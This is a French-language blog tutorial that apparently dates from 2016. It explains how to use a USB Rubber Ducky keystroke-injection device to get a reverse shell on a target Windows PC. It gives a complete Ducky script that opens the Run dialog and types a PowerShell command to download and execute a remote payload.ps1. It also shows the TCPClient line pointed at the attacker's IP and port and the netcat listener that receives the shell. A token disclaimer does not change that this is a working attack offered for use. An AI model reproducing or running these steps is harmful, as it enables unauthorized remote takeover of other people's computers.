USB Rubber Ducky : Un Shell en 3 secondes !

Date de publication: 06/11/2016

ATTENTION: Je ne suis en aucun cas responsable de vos actes. Cet article est purement à but informatif et éducatif. Merci.

Salut à tous et à toutes, bande de geeks! :D Quand on travail avec le Rubber Ducky, la performance est la clé du succès. Après avoir retrouvé tous nos mots de passes perdus, nous allons nous attaquer à la prise de contrôle à distance grâce à un Reverse Shell! Pour ceux qui ne savent pas ce qu’est un Reverse Shell, voici un bref topo:

Un Reverse Shell est un bout de code exécuté sur une machine victime qui va contacter la machine d’un attaquant en lui offrant un invite de commande (Shell).

Un Reverse Shell permet d’administrer une machine à distance facilement. C’est un outil très utile pour les administrateurs réseaux fainéants :) Pour la mise en place de ce payload, nous devrons héberger un script Powershell sur notre serveur. Ce script sera notre Reverse Shell. Tout ce que la cible fera sera de télécharger le Reverse Shell et de l’exécuter. C’est tout. Le script s’occupe du reste. Je résume donc le fonctionnement du Payload:

  1. Ouverture de la fenêtre “Executer”
  2. Télechargement et éxecution du Payload

C’est tout ? Eh bien oui ! Le tout se fera en moins de 3 secondes. Il faut bien sûr héberger le Reverse Shell disponible à cette adresse et changer la ligne:

New-Object Net.Sockets.TCPClient("AdresseIPAttaquant",8080))

En remplaçant les valeurs par votre adresse IP et le port choisi pour la communication. Commençons le payload sans plus tarder :)

REM Delai de branchement du Ducky
DELAY 1000
REM On ouvre la fenetre "Executer"
GUI r
DELAY 100
REM Telechargement du Reverse Shell
STRING powershell "IEX (New-Object Net.WebClient).DownloadString('https://VotreServeur/payload.ps1');"
ENTER

Sans doute le Hack le plus court au monde ! :D

Maintenant, il faut bien sûr que votre ordinateur (qui attend la connection) soit à l’écoute de la connexion de la cible. Pour cela, une simple commande:

nc -l -p 8080

Nous utilisons donc l’outil Netcat pour écouter (-l) sur le port 8080 (-p 8080). Et voilà ! Vous avez un shell sur la machine cible ! Presque trop facile :p Si ce tutoriel vous a plu, n’hésitez pas à le partager, ça fait toujours super plaisir.

En attendant, je vous donne rendez-vous à la prochaine, et n’oubliez pas: Stay Tuned! :D